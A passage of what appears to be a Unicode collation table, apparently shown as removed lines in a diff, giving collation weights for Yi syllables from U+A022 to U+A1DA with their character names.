-A022  ; [.3C4A.0020.0002] # YI SYLLABLE BUOX
-A023  ; [.3C4B.0020.0002] # YI SYLLABLE BUO
-A024  ; [.3C4C.0020.0002] # YI SYLLABLE BUOP
-A025  ; [.3C4D.0020.0002] # YI SYLLABLE BOT
-A026  ; [.3C4E.0020.0002] # YI SYLLABLE BOX
-A027  ; [.3C4F.0020.0002] # YI SYLLABLE BO
-A028  ; [.3C50.0020.0002] # YI SYLLABLE BOP
-A029  ; [.3C51.0020.0002] # YI SYLLABLE BEX
-A02A  ; [.3C52.0020.0002] # YI SYLLABLE BE
-A02B  ; [.3C53.0020.0002] # YI SYLLABLE BEP
-A02C  ; [.3C54.0020.0002] # YI SYLLABLE BUT
-A02D  ; [.3C55.0020.0002] # YI SYLLABLE BUX
-A02E  ; [.3C56.0020.0002] # YI SYLLABLE BU
-A02F  ; [.3C57.0020.0002] # YI SYLLABLE BUP
-A030  ; [.3C58.0020.0002] # YI SYLLABLE BURX
-A031  ; [.3C59.0020.0002] # YI SYLLABLE BUR
-A032  ; [.3C5A.0020.0002] # YI SYLLABLE BYT
-A033  ; [.3C5B.0020.0002] # YI SYLLABLE BYX
-A034  ; [.3C5C.0020.0002] # YI SYLLABLE BY
-A035  ; [.3C5D.0020.0002] # YI SYLLABLE BYP
-A036  ; [.3C5E.0020.0002] # YI SYLLABLE BYRX
-A037  ; [.3C5F.0020.0002] # YI SYLLABLE BYR
-A038  ; [.3C60.0020.0002] # YI SYLLABLE PIT
-A039  ; [.3C61.0020.0002] # YI SYLLABLE PIX
-A03A  ; [.3C62.0020.0002] # YI SYLLABLE PI
-A03B  ; [.3C63.0020.0002] # YI SYLLABLE PIP
-A03C  ; [.3C64.0020.0002] # YI SYLLABLE PIEX
-A03D  ; [.3C65.0020.0002] # YI SYLLABLE PIE
-A03E  ; [.3C66.0020.0002] # YI SYLLABLE PIEP
-A03F  ; [.3C67.0020.0002] # YI SYLLABLE PAT
-A040  ; [.3C68.0020.0002] # YI SYLLABLE PAX
-A041  ; [.3C69.0020.0002] # YI SYLLABLE PA
-A042  ; [.3C6A.0020.0002] # YI SYLLABLE PAP
-A043  ; [.3C6B.0020.0002] # YI SYLLABLE PUOX
-A044  ; [.3C6C.0020.0002] # YI SYLLABLE PUO
-A045  ; [.3C6D.0020.0002] # YI SYLLABLE PUOP
-A046  ; [.3C6E.0020.0002] # YI SYLLABLE POT
-A047  ; [.3C6F.0020.0002] # YI SYLLABLE POX
-A048  ; [.3C70.0020.0002] # YI SYLLABLE PO
-A049  ; [.3C71.0020.0002] # YI SYLLABLE POP
-A04A  ; [.3C72.0020.0002] # YI SYLLABLE PUT
-A04B  ; [.3C73.0020.0002] # YI SYLLABLE PUX
-A04C  ; [.3C74.0020.0002] # YI SYLLABLE PU
-A04D  ; [.3C75.0020.0002] # YI SYLLABLE PUP
-A04E  ; [.3C76.0020.0002] # YI SYLLABLE PURX
-A04F  ; [.3C77.0020.0002] # YI SYLLABLE PUR
-A050  ; [.3C78.0020.0002] # YI SYLLABLE PYT
-A051  ; [.3C79.0020.0002] # YI SYLLABLE PYX
-A052  ; [.3C7A.0020.0002] # YI SYLLABLE PY
-A053  ; [.3C7B.0020.0002] # YI SYLLABLE PYP
-A054  ; [.3C7C.0020.0002] # YI SYLLABLE PYRX
-A055  ; [.3C7D.0020.0002] # YI SYLLABLE PYR
-A056  ; [.3C7E.0020.0002] # YI SYLLABLE BBIT
-A057  ; [.3C7F.0020.0002] # YI SYLLABLE BBIX
-A058  ; [.3C80.0020.0002] # YI SYLLABLE BBI
-A059  ; [.3C81.0020.0002] # YI SYLLABLE BBIP
-A05A  ; [.3C82.0020.0002] # YI SYLLABLE BBIET
-A05B  ; [.3C83.0020.0002] # YI SYLLABLE BBIEX
-A05C  ; [.3C84.0020.0002] # YI SYLLABLE BBIE
-A05D  ; [.3C85.0020.0002] # YI SYLLABLE BBIEP
-A05E  ; [.3C86.0020.0002] # YI SYLLABLE BBAT
-A05F  ; [.3C87.0020.0002] # YI SYLLABLE BBAX
-A060  ; [.3C88.0020.0002] # YI SYLLABLE BBA
-A061  ; [.3C89.0020.0002] # YI SYLLABLE BBAP
-A062  ; [.3C8A.0020.0002] # YI SYLLABLE BBUOX
-A063  ; [.3C8B.0020.0002] # YI SYLLABLE BBUO
-A064  ; [.3C8C.0020.0002] # YI SYLLABLE BBUOP
-A065  ; [.3C8D.0020.0002] # YI SYLLABLE BBOT
-A066  ; [.3C8E.0020.0002] # YI SYLLABLE BBOX
-A067  ; [.3C8F.0020.0002] # YI SYLLABLE BBO
-A068  ; [.3C90.0020.0002] # YI SYLLABLE BBOP
-A069  ; [.3C91.0020.0002] # YI SYLLABLE BBEX
-A06A  ; [.3C92.0020.0002] # YI SYLLABLE BBE
-A06B  ; [.3C93.0020.0002] # YI SYLLABLE BBEP
-A06C  ; [.3C94.0020.0002] # YI SYLLABLE BBUT
-A06D  ; [.3C95.0020.0002] # YI SYLLABLE BBUX
-A06E  ; [.3C96.0020.0002] # YI SYLLABLE BBU
-A06F  ; [.3C97.0020.0002] # YI SYLLABLE BBUP
-A070  ; [.3C98.0020.0002] # YI SYLLABLE BBURX
-A071  ; [.3C99.0020.0002] # YI SYLLABLE BBUR
-A072  ; [.3C9A.0020.0002] # YI SYLLABLE BBYT
-A073  ; [.3C9B.0020.0002] # YI SYLLABLE BBYX
-A074  ; [.3C9C.0020.0002] # YI SYLLABLE BBY
-A075  ; [.3C9D.0020.0002] # YI SYLLABLE BBYP
-A076  ; [.3C9E.0020.0002] # YI SYLLABLE NBIT
-A077  ; [.3C9F.0020.0002] # YI SYLLABLE NBIX
-A078  ; [.3CA0.0020.0002] # YI SYLLABLE NBI
-A079  ; [.3CA1.0020.0002] # YI SYLLABLE NBIP
-A07A  ; [.3CA2.0020.0002] # YI SYLLABLE NBIEX
-A07B  ; [.3CA3.0020.0002] # YI SYLLABLE NBIE
-A07C  ; [.3CA4.0020.0002] # YI SYLLABLE NBIEP
-A07D  ; [.3CA5.0020.0002] # YI SYLLABLE NBAT
-A07E  ; [.3CA6.0020.0002] # YI SYLLABLE NBAX
-A07F  ; [.3CA7.0020.0002] # YI SYLLABLE NBA
-A080  ; [.3CA8.0020.0002] # YI SYLLABLE NBAP
-A081  ; [.3CA9.0020.0002] # YI SYLLABLE NBOT
-A082  ; [.3CAA.0020.0002] # YI SYLLABLE NBOX
-A083  ; [.3CAB.0020.0002] # YI SYLLABLE NBO
-A084  ; [.3CAC.0020.0002] # YI SYLLABLE NBOP
-A085  ; [.3CAD.0020.0002] # YI SYLLABLE NBUT
-A086  ; [.3CAE.0020.0002] # YI SYLLABLE NBUX
-A087  ; [.3CAF.0020.0002] # YI SYLLABLE NBU
-A088  ; [.3CB0.0020.0002] # YI SYLLABLE NBUP
-A089  ; [.3CB1.0020.0002] # YI SYLLABLE NBURX
-A08A  ; [.3CB2.0020.0002] # YI SYLLABLE NBUR
-A08B  ; [.3CB3.0020.0002] # YI SYLLABLE NBYT
-A08C  ; [.3CB4.0020.0002] # YI SYLLABLE NBYX
-A08D  ; [.3CB5.0020.0002] # YI SYLLABLE NBY
-A08E  ; [.3CB6.0020.0002] # YI SYLLABLE NBYP
-A08F  ; [.3CB7.0020.0002] # YI SYLLABLE NBYRX
-A090  ; [.3CB8.0020.0002] # YI SYLLABLE NBYR
-A091  ; [.3CB9.0020.0002] # YI SYLLABLE HMIT
-A092  ; [.3CBA.0020.0002] # YI SYLLABLE HMIX
-A093  ; [.3CBB.0020.0002] # YI SYLLABLE HMI
-A094  ; [.3CBC.0020.0002] # YI SYLLABLE HMIP
-A095  ; [.3CBD.0020.0002] # YI SYLLABLE HMIEX
-A096  ; [.3CBE.0020.0002] # YI SYLLABLE HMIE
-A097  ; [.3CBF.0020.0002] # YI SYLLABLE HMIEP
-A098  ; [.3CC0.0020.0002] # YI SYLLABLE HMAT
-A099  ; [.3CC1.0020.0002] # YI SYLLABLE HMAX
-A09A  ; [.3CC2.0020.0002] # YI SYLLABLE HMA
-A09B  ; [.3CC3.0020.0002] # YI SYLLABLE HMAP
-A09C  ; [.3CC4.0020.0002] # YI SYLLABLE HMUOX
-A09D  ; [.3CC5.0020.0002] # YI SYLLABLE HMUO
-A09E  ; [.3CC6.0020.0002] # YI SYLLABLE HMUOP
-A09F  ; [.3CC7.0020.0002] # YI SYLLABLE HMOT
-A0A0  ; [.3CC8.0020.0002] # YI SYLLABLE HMOX
-A0A1  ; [.3CC9.0020.0002] # YI SYLLABLE HMO
-A0A2  ; [.3CCA.0020.0002] # YI SYLLABLE HMOP
-A0A3  ; [.3CCB.0020.0002] # YI SYLLABLE HMUT
-A0A4  ; [.3CCC.0020.0002] # YI SYLLABLE HMUX
-A0A5  ; [.3CCD.0020.0002] # YI SYLLABLE HMU
-A0A6  ; [.3CCE.0020.0002] # YI SYLLABLE HMUP
-A0A7  ; [.3CCF.0020.0002] # YI SYLLABLE HMURX
-A0A8  ; [.3CD0.0020.0002] # YI SYLLABLE HMUR
-A0A9  ; [.3CD1.0020.0002] # YI SYLLABLE HMYX
-A0AA  ; [.3CD2.0020.0002] # YI SYLLABLE HMY
-A0AB  ; [.3CD3.0020.0002] # YI SYLLABLE HMYP
-A0AC  ; [.3CD4.0020.0002] # YI SYLLABLE HMYRX
-A0AD  ; [.3CD5.0020.0002] # YI SYLLABLE HMYR
-A0AE  ; [.3CD6.0020.0002] # YI SYLLABLE MIT
-A0AF  ; [.3CD7.0020.0002] # YI SYLLABLE MIX
-A0B0  ; [.3CD8.0020.0002] # YI SYLLABLE MI
-A0B1  ; [.3CD9.0020.0002] # YI SYLLABLE MIP
-A0B2  ; [.3CDA.0020.0002] # YI SYLLABLE MIEX
-A0B3  ; [.3CDB.0020.0002] # YI SYLLABLE MIE
-A0B4  ; [.3CDC.0020.0002] # YI SYLLABLE MIEP
-A0B5  ; [.3CDD.0020.0002] # YI SYLLABLE MAT
-A0B6  ; [.3CDE.0020.0002] # YI SYLLABLE MAX
-A0B7  ; [.3CDF.0020.0002] # YI SYLLABLE MA
-A0B8  ; [.3CE0.0020.0002] # YI SYLLABLE MAP
-A0B9  ; [.3CE1.0020.0002] # YI SYLLABLE MUOT
-A0BA  ; [.3CE2.0020.0002] # YI SYLLABLE MUOX
-A0BB  ; [.3CE3.0020.0002] # YI SYLLABLE MUO
-A0BC  ; [.3CE4.0020.0002] # YI SYLLABLE MUOP
-A0BD  ; [.3CE5.0020.0002] # YI SYLLABLE MOT
-A0BE  ; [.3CE6.0020.0002] # YI SYLLABLE MOX
-A0BF  ; [.3CE7.0020.0002] # YI SYLLABLE MO
-A0C0  ; [.3CE8.0020.0002] # YI SYLLABLE MOP
-A0C1  ; [.3CE9.0020.0002] # YI SYLLABLE MEX
-A0C2  ; [.3CEA.0020.0002] # YI SYLLABLE ME
-A0C3  ; [.3CEB.0020.0002] # YI SYLLABLE MUT
-A0C4  ; [.3CEC.0020.0002] # YI SYLLABLE MUX
-A0C5  ; [.3CED.0020.0002] # YI SYLLABLE MU
-A0C6  ; [.3CEE.0020.0002] # YI SYLLABLE MUP
-A0C7  ; [.3CEF.0020.0002] # YI SYLLABLE MURX
-A0C8  ; [.3CF0.0020.0002] # YI SYLLABLE MUR
-A0C9  ; [.3CF1.0020.0002] # YI SYLLABLE MYT
-A0CA  ; [.3CF2.0020.0002] # YI SYLLABLE MYX
-A0CB  ; [.3CF3.0020.0002] # YI SYLLABLE MY
-A0CC  ; [.3CF4.0020.0002] # YI SYLLABLE MYP
-A0CD  ; [.3CF5.0020.0002] # YI SYLLABLE FIT
-A0CE  ; [.3CF6.0020.0002] # YI SYLLABLE FIX
-A0CF  ; [.3CF7.0020.0002] # YI SYLLABLE FI
-A0D0  ; [.3CF8.0020.0002] # YI SYLLABLE FIP
-A0D1  ; [.3CF9.0020.0002] # YI SYLLABLE FAT
-A0D2  ; [.3CFA.0020.0002] # YI SYLLABLE FAX
-A0D3  ; [.3CFB.0020.0002] # YI SYLLABLE FA
-A0D4  ; [.3CFC.0020.0002] # YI SYLLABLE FAP
-A0D5  ; [.3CFD.0020.0002] # YI SYLLABLE FOX
-A0D6  ; [.3CFE.0020.0002] # YI SYLLABLE FO
-A0D7  ; [.3CFF.0020.0002] # YI SYLLABLE FOP
-A0D8  ; [.3D00.0020.0002] # YI SYLLABLE FUT
-A0D9  ; [.3D01.0020.0002] # YI SYLLABLE FUX
-A0DA  ; [.3D02.0020.0002] # YI SYLLABLE FU
-A0DB  ; [.3D03.0020.0002] # YI SYLLABLE FUP
-A0DC  ; [.3D04.0020.0002] # YI SYLLABLE FURX
-A0DD  ; [.3D05.0020.0002] # YI SYLLABLE FUR
-A0DE  ; [.3D06.0020.0002] # YI SYLLABLE FYT
-A0DF  ; [.3D07.0020.0002] # YI SYLLABLE FYX
-A0E0  ; [.3D08.0020.0002] # YI SYLLABLE FY
-A0E1  ; [.3D09.0020.0002] # YI SYLLABLE FYP
-A0E2  ; [.3D0A.0020.0002] # YI SYLLABLE VIT
-A0E3  ; [.3D0B.0020.0002] # YI SYLLABLE VIX
-A0E4  ; [.3D0C.0020.0002] # YI SYLLABLE VI
-A0E5  ; [.3D0D.0020.0002] # YI SYLLABLE VIP
-A0E6  ; [.3D0E.0020.0002] # YI SYLLABLE VIET
-A0E7  ; [.3D0F.0020.0002] # YI SYLLABLE VIEX
-A0E8  ; [.3D10.0020.0002] # YI SYLLABLE VIE
-A0E9  ; [.3D11.0020.0002] # YI SYLLABLE VIEP
-A0EA  ; [.3D12.0020.0002] # YI SYLLABLE VAT
-A0EB  ; [.3D13.0020.0002] # YI SYLLABLE VAX
-A0EC  ; [.3D14.0020.0002] # YI SYLLABLE VA
-A0ED  ; [.3D15.0020.0002] # YI SYLLABLE VAP
-A0EE  ; [.3D16.0020.0002] # YI SYLLABLE VOT
-A0EF  ; [.3D17.0020.0002] # YI SYLLABLE VOX
-A0F0  ; [.3D18.0020.0002] # YI SYLLABLE VO
-A0F1  ; [.3D19.0020.0002] # YI SYLLABLE VOP
-A0F2  ; [.3D1A.0020.0002] # YI SYLLABLE VEX
-A0F3  ; [.3D1B.0020.0002] # YI SYLLABLE VEP
-A0F4  ; [.3D1C.0020.0002] # YI SYLLABLE VUT
-A0F5  ; [.3D1D.0020.0002] # YI SYLLABLE VUX
-A0F6  ; [.3D1E.0020.0002] # YI SYLLABLE VU
-A0F7  ; [.3D1F.0020.0002] # YI SYLLABLE VUP
-A0F8  ; [.3D20.0020.0002] # YI SYLLABLE VURX
-A0F9  ; [.3D21.0020.0002] # YI SYLLABLE VUR
-A0FA  ; [.3D22.0020.0002] # YI SYLLABLE VYT
-A0FB  ; [.3D23.0020.0002] # YI SYLLABLE VYX
-A0FC  ; [.3D24.0020.0002] # YI SYLLABLE VY
-A0FD  ; [.3D25.0020.0002] # YI SYLLABLE VYP
-A0FE  ; [.3D26.0020.0002] # YI SYLLABLE VYRX
-A0FF  ; [.3D27.0020.0002] # YI SYLLABLE VYR
-A100  ; [.3D28.0020.0002] # YI SYLLABLE DIT
-A101  ; [.3D29.0020.0002] # YI SYLLABLE DIX
-A102  ; [.3D2A.0020.0002] # YI SYLLABLE DI
-A103  ; [.3D2B.0020.0002] # YI SYLLABLE DIP
-A104  ; [.3D2C.0020.0002] # YI SYLLABLE DIEX
-A105  ; [.3D2D.0020.0002] # YI SYLLABLE DIE
-A106  ; [.3D2E.0020.0002] # YI SYLLABLE DIEP
-A107  ; [.3D2F.0020.0002] # YI SYLLABLE DAT
-A108  ; [.3D30.0020.0002] # YI SYLLABLE DAX
-A109  ; [.3D31.0020.0002] # YI SYLLABLE DA
-A10A  ; [.3D32.0020.0002] # YI SYLLABLE DAP
-A10B  ; [.3D33.0020.0002] # YI SYLLABLE DUOX
-A10C  ; [.3D34.0020.0002] # YI SYLLABLE DUO
-A10D  ; [.3D35.0020.0002] # YI SYLLABLE DOT
-A10E  ; [.3D36.0020.0002] # YI SYLLABLE DOX
-A10F  ; [.3D37.0020.0002] # YI SYLLABLE DO
-A110  ; [.3D38.0020.0002] # YI SYLLABLE DOP
-A111  ; [.3D39.0020.0002] # YI SYLLABLE DEX
-A112  ; [.3D3A.0020.0002] # YI SYLLABLE DE
-A113  ; [.3D3B.0020.0002] # YI SYLLABLE DEP
-A114  ; [.3D3C.0020.0002] # YI SYLLABLE DUT
-A115  ; [.3D3D.0020.0002] # YI SYLLABLE DUX
-A116  ; [.3D3E.0020.0002] # YI SYLLABLE DU
-A117  ; [.3D3F.0020.0002] # YI SYLLABLE DUP
-A118  ; [.3D40.0020.0002] # YI SYLLABLE DURX
-A119  ; [.3D41.0020.0002] # YI SYLLABLE DUR
-A11A  ; [.3D42.0020.0002] # YI SYLLABLE TIT
-A11B  ; [.3D43.0020.0002] # YI SYLLABLE TIX
-A11C  ; [.3D44.0020.0002] # YI SYLLABLE TI
-A11D  ; [.3D45.0020.0002] # YI SYLLABLE TIP
-A11E  ; [.3D46.0020.0002] # YI SYLLABLE TIEX
-A11F  ; [.3D47.0020.0002] # YI SYLLABLE TIE
-A120  ; [.3D48.0020.0002] # YI SYLLABLE TIEP
-A121  ; [.3D49.0020.0002] # YI SYLLABLE TAT
-A122  ; [.3D4A.0020.0002] # YI SYLLABLE TAX
-A123  ; [.3D4B.0020.0002] # YI SYLLABLE TA
-A124  ; [.3D4C.0020.0002] # YI SYLLABLE TAP
-A125  ; [.3D4D.0020.0002] # YI SYLLABLE TUOT
-A126  ; [.3D4E.0020.0002] # YI SYLLABLE TUOX
-A127  ; [.3D4F.0020.0002] # YI SYLLABLE TUO
-A128  ; [.3D50.0020.0002] # YI SYLLABLE TUOP
-A129  ; [.3D51.0020.0002] # YI SYLLABLE TOT
-A12A  ; [.3D52.0020.0002] # YI SYLLABLE TOX
-A12B  ; [.3D53.0020.0002] # YI SYLLABLE TO
-A12C  ; [.3D54.0020.0002] # YI SYLLABLE TOP
-A12D  ; [.3D55.0020.0002] # YI SYLLABLE TEX
-A12E  ; [.3D56.0020.0002] # YI SYLLABLE TE
-A12F  ; [.3D57.0020.0002] # YI SYLLABLE TEP
-A130  ; [.3D58.0020.0002] # YI SYLLABLE TUT
-A131  ; [.3D59.0020.0002] # YI SYLLABLE TUX
-A132  ; [.3D5A.0020.0002] # YI SYLLABLE TU
-A133  ; [.3D5B.0020.0002] # YI SYLLABLE TUP
-A134  ; [.3D5C.0020.0002] # YI SYLLABLE TURX
-A135  ; [.3D5D.0020.0002] # YI SYLLABLE TUR
-A136  ; [.3D5E.0020.0002] # YI SYLLABLE DDIT
-A137  ; [.3D5F.0020.0002] # YI SYLLABLE DDIX
-A138  ; [.3D60.0020.0002] # YI SYLLABLE DDI
-A139  ; [.3D61.0020.0002] # YI SYLLABLE DDIP
-A13A  ; [.3D62.0020.0002] # YI SYLLABLE DDIEX
-A13B  ; [.3D63.0020.0002] # YI SYLLABLE DDIE
-A13C  ; [.3D64.0020.0002] # YI SYLLABLE DDIEP
-A13D  ; [.3D65.0020.0002] # YI SYLLABLE DDAT
-A13E  ; [.3D66.0020.0002] # YI SYLLABLE DDAX
-A13F  ; [.3D67.0020.0002] # YI SYLLABLE DDA
-A140  ; [.3D68.0020.0002] # YI SYLLABLE DDAP
-A141  ; [.3D69.0020.0002] # YI SYLLABLE DDUOX
-A142  ; [.3D6A.0020.0002] # YI SYLLABLE DDUO
-A143  ; [.3D6B.0020.0002] # YI SYLLABLE DDUOP
-A144  ; [.3D6C.0020.0002] # YI SYLLABLE DDOT
-A145  ; [.3D6D.0020.0002] # YI SYLLABLE DDOX
-A146  ; [.3D6E.0020.0002] # YI SYLLABLE DDO
-A147  ; [.3D6F.0020.0002] # YI SYLLABLE DDOP
-A148  ; [.3D70.0020.0002] # YI SYLLABLE DDEX
-A149  ; [.3D71.0020.0002] # YI SYLLABLE DDE
-A14A  ; [.3D72.0020.0002] # YI SYLLABLE DDEP
-A14B  ; [.3D73.0020.0002] # YI SYLLABLE DDUT
-A14C  ; [.3D74.0020.0002] # YI SYLLABLE DDUX
-A14D  ; [.3D75.0020.0002] # YI SYLLABLE DDU
-A14E  ; [.3D76.0020.0002] # YI SYLLABLE DDUP
-A14F  ; [.3D77.0020.0002] # YI SYLLABLE DDURX
-A150  ; [.3D78.0020.0002] # YI SYLLABLE DDUR
-A151  ; [.3D79.0020.0002] # YI SYLLABLE NDIT
-A152  ; [.3D7A.0020.0002] # YI SYLLABLE NDIX
-A153  ; [.3D7B.0020.0002] # YI SYLLABLE NDI
-A154  ; [.3D7C.0020.0002] # YI SYLLABLE NDIP
-A155  ; [.3D7D.0020.0002] # YI SYLLABLE NDIEX
-A156  ; [.3D7E.0020.0002] # YI SYLLABLE NDIE
-A157  ; [.3D7F.0020.0002] # YI SYLLABLE NDAT
-A158  ; [.3D80.0020.0002] # YI SYLLABLE NDAX
-A159  ; [.3D81.0020.0002] # YI SYLLABLE NDA
-A15A  ; [.3D82.0020.0002] # YI SYLLABLE NDAP
-A15B  ; [.3D83.0020.0002] # YI SYLLABLE NDOT
-A15C  ; [.3D84.0020.0002] # YI SYLLABLE NDOX
-A15D  ; [.3D85.0020.0002] # YI SYLLABLE NDO
-A15E  ; [.3D86.0020.0002] # YI SYLLABLE NDOP
-A15F  ; [.3D87.0020.0002] # YI SYLLABLE NDEX
-A160  ; [.3D88.0020.0002] # YI SYLLABLE NDE
-A161  ; [.3D89.0020.0002] # YI SYLLABLE NDEP
-A162  ; [.3D8A.0020.0002] # YI SYLLABLE NDUT
-A163  ; [.3D8B.0020.0002] # YI SYLLABLE NDUX
-A164  ; [.3D8C.0020.0002] # YI SYLLABLE NDU
-A165  ; [.3D8D.0020.0002] # YI SYLLABLE NDUP
-A166  ; [.3D8E.0020.0002] # YI SYLLABLE NDURX
-A167  ; [.3D8F.0020.0002] # YI SYLLABLE NDUR
-A168  ; [.3D90.0020.0002] # YI SYLLABLE HNIT
-A169  ; [.3D91.0020.0002] # YI SYLLABLE HNIX
-A16A  ; [.3D92.0020.0002] # YI SYLLABLE HNI
-A16B  ; [.3D93.0020.0002] # YI SYLLABLE HNIP
-A16C  ; [.3D94.0020.0002] # YI SYLLABLE HNIET
-A16D  ; [.3D95.0020.0002] # YI SYLLABLE HNIEX
-A16E  ; [.3D96.0020.0002] # YI SYLLABLE HNIE
-A16F  ; [.3D97.0020.0002] # YI SYLLABLE HNIEP
-A170  ; [.3D98.0020.0002] # YI SYLLABLE HNAT
-A171  ; [.3D99.0020.0002] # YI SYLLABLE HNAX
-A172  ; [.3D9A.0020.0002] # YI SYLLABLE HNA
-A173  ; [.3D9B.0020.0002] # YI SYLLABLE HNAP
-A174  ; [.3D9C.0020.0002] # YI SYLLABLE HNUOX
-A175  ; [.3D9D.0020.0002] # YI SYLLABLE HNUO
-A176  ; [.3D9E.0020.0002] # YI SYLLABLE HNOT
-A177  ; [.3D9F.0020.0002] # YI SYLLABLE HNOX
-A178  ; [.3DA0.0020.0002] # YI SYLLABLE HNOP
-A179  ; [.3DA1.0020.0002] # YI SYLLABLE HNEX
-A17A  ; [.3DA2.0020.0002] # YI SYLLABLE HNE
-A17B  ; [.3DA3.0020.0002] # YI SYLLABLE HNEP
-A17C  ; [.3DA4.0020.0002] # YI SYLLABLE HNUT
-A17D  ; [.3DA5.0020.0002] # YI SYLLABLE NIT
-A17E  ; [.3DA6.0020.0002] # YI SYLLABLE NIX
-A17F  ; [.3DA7.0020.0002] # YI SYLLABLE NI
-A180  ; [.3DA8.0020.0002] # YI SYLLABLE NIP
-A181  ; [.3DA9.0020.0002] # YI SYLLABLE NIEX
-A182  ; [.3DAA.0020.0002] # YI SYLLABLE NIE
-A183  ; [.3DAB.0020.0002] # YI SYLLABLE NIEP
-A184  ; [.3DAC.0020.0002] # YI SYLLABLE NAX
-A185  ; [.3DAD.0020.0002] # YI SYLLABLE NA
-A186  ; [.3DAE.0020.0002] # YI SYLLABLE NAP
-A187  ; [.3DAF.0020.0002] # YI SYLLABLE NUOX
-A188  ; [.3DB0.0020.0002] # YI SYLLABLE NUO
-A189  ; [.3DB1.0020.0002] # YI SYLLABLE NUOP
-A18A  ; [.3DB2.0020.0002] # YI SYLLABLE NOT
-A18B  ; [.3DB3.0020.0002] # YI SYLLABLE NOX
-A18C  ; [.3DB4.0020.0002] # YI SYLLABLE NO
-A18D  ; [.3DB5.0020.0002] # YI SYLLABLE NOP
-A18E  ; [.3DB6.0020.0002] # YI SYLLABLE NEX
-A18F  ; [.3DB7.0020.0002] # YI SYLLABLE NE
-A190  ; [.3DB8.0020.0002] # YI SYLLABLE NEP
-A191  ; [.3DB9.0020.0002] # YI SYLLABLE NUT
-A192  ; [.3DBA.0020.0002] # YI SYLLABLE NUX
-A193  ; [.3DBB.0020.0002] # YI SYLLABLE NU
-A194  ; [.3DBC.0020.0002] # YI SYLLABLE NUP
-A195  ; [.3DBD.0020.0002] # YI SYLLABLE NURX
-A196  ; [.3DBE.0020.0002] # YI SYLLABLE NUR
-A197  ; [.3DBF.0020.0002] # YI SYLLABLE HLIT
-A198  ; [.3DC0.0020.0002] # YI SYLLABLE HLIX
-A199  ; [.3DC1.0020.0002] # YI SYLLABLE HLI
-A19A  ; [.3DC2.0020.0002] # YI SYLLABLE HLIP
-A19B  ; [.3DC3.0020.0002] # YI SYLLABLE HLIEX
-A19C  ; [.3DC4.0020.0002] # YI SYLLABLE HLIE
-A19D  ; [.3DC5.0020.0002] # YI SYLLABLE HLIEP
-A19E  ; [.3DC6.0020.0002] # YI SYLLABLE HLAT
-A19F  ; [.3DC7.0020.0002] # YI SYLLABLE HLAX
-A1A0  ; [.3DC8.0020.0002] # YI SYLLABLE HLA
-A1A1  ; [.3DC9.0020.0002] # YI SYLLABLE HLAP
-A1A2  ; [.3DCA.0020.0002] # YI SYLLABLE HLUOX
-A1A3  ; [.3DCB.0020.0002] # YI SYLLABLE HLUO
-A1A4  ; [.3DCC.0020.0002] # YI SYLLABLE HLUOP
-A1A5  ; [.3DCD.0020.0002] # YI SYLLABLE HLOX
-A1A6  ; [.3DCE.0020.0002] # YI SYLLABLE HLO
-A1A7  ; [.3DCF.0020.0002] # YI SYLLABLE HLOP
-A1A8  ; [.3DD0.0020.0002] # YI SYLLABLE HLEX
-A1A9  ; [.3DD1.0020.0002] # YI SYLLABLE HLE
-A1AA  ; [.3DD2.0020.0002] # YI SYLLABLE HLEP
-A1AB  ; [.3DD3.0020.0002] # YI SYLLABLE HLUT
-A1AC  ; [.3DD4.0020.0002] # YI SYLLABLE HLUX
-A1AD  ; [.3DD5.0020.0002] # YI SYLLABLE HLU
-A1AE  ; [.3DD6.0020.0002] # YI SYLLABLE HLUP
-A1AF  ; [.3DD7.0020.0002] # YI SYLLABLE HLURX
-A1B0  ; [.3DD8.0020.0002] # YI SYLLABLE HLUR
-A1B1  ; [.3DD9.0020.0002] # YI SYLLABLE HLYT
-A1B2  ; [.3DDA.0020.0002] # YI SYLLABLE HLYX
-A1B3  ; [.3DDB.0020.0002] # YI SYLLABLE HLY
-A1B4  ; [.3DDC.0020.0002] # YI SYLLABLE HLYP
-A1B5  ; [.3DDD.0020.0002] # YI SYLLABLE HLYRX
-A1B6  ; [.3DDE.0020.0002] # YI SYLLABLE HLYR
-A1B7  ; [.3DDF.0020.0002] # YI SYLLABLE LIT
-A1B8  ; [.3DE0.0020.0002] # YI SYLLABLE LIX
-A1B9  ; [.3DE1.0020.0002] # YI SYLLABLE LI
-A1BA  ; [.3DE2.0020.0002] # YI SYLLABLE LIP
-A1BB  ; [.3DE3.0020.0002] # YI SYLLABLE LIET
-A1BC  ; [.3DE4.0020.0002] # YI SYLLABLE LIEX
-A1BD  ; [.3DE5.0020.0002] # YI SYLLABLE LIE
-A1BE  ; [.3DE6.0020.0002] # YI SYLLABLE LIEP
-A1BF  ; [.3DE7.0020.0002] # YI SYLLABLE LAT
-A1C0  ; [.3DE8.0020.0002] # YI SYLLABLE LAX
-A1C1  ; [.3DE9.0020.0002] # YI SYLLABLE LA
-A1C2  ; [.3DEA.0020.0002] # YI SYLLABLE LAP
-A1C3  ; [.3DEB.0020.0002] # YI SYLLABLE LUOT
-A1C4  ; [.3DEC.0020.0002] # YI SYLLABLE LUOX
-A1C5  ; [.3DED.0020.0002] # YI SYLLABLE LUO
-A1C6  ; [.3DEE.0020.0002] # YI SYLLABLE LUOP
-A1C7  ; [.3DEF.0020.0002] # YI SYLLABLE LOT
-A1C8  ; [.3DF0.0020.0002] # YI SYLLABLE LOX
-A1C9  ; [.3DF1.0020.0002] # YI SYLLABLE LO
-A1CA  ; [.3DF2.0020.0002] # YI SYLLABLE LOP
-A1CB  ; [.3DF3.0020.0002] # YI SYLLABLE LEX
-A1CC  ; [.3DF4.0020.0002] # YI SYLLABLE LE
-A1CD  ; [.3DF5.0020.0002] # YI SYLLABLE LEP
-A1CE  ; [.3DF6.0020.0002] # YI SYLLABLE LUT
-A1CF  ; [.3DF7.0020.0002] # YI SYLLABLE LUX
-A1D0  ; [.3DF8.0020.0002] # YI SYLLABLE LU
-A1D1  ; [.3DF9.0020.0002] # YI SYLLABLE LUP
-A1D2  ; [.3DFA.0020.0002] # YI SYLLABLE LURX
-A1D3  ; [.3DFB.0020.0002] # YI SYLLABLE LUR
-A1D4  ; [.3DFC.0020.0002] # YI SYLLABLE LYT
-A1D5  ; [.3DFD.0020.0002] # YI SYLLABLE LYX
-A1D6  ; [.3DFE.0020.0002] # YI SYLLABLE LY
-A1D7  ; [.3DFF.0020.0002] # YI SYLLABLE LYP
-A1D8  ; [.3E00.0020.0002] # YI SYLLABLE LYRX
-A1D9  ; [.3E01.0020.0002] # YI SYLLABLE LYR
-A1DA  ; [.3E02.0020.0002] # YI SYLLABLE GIT
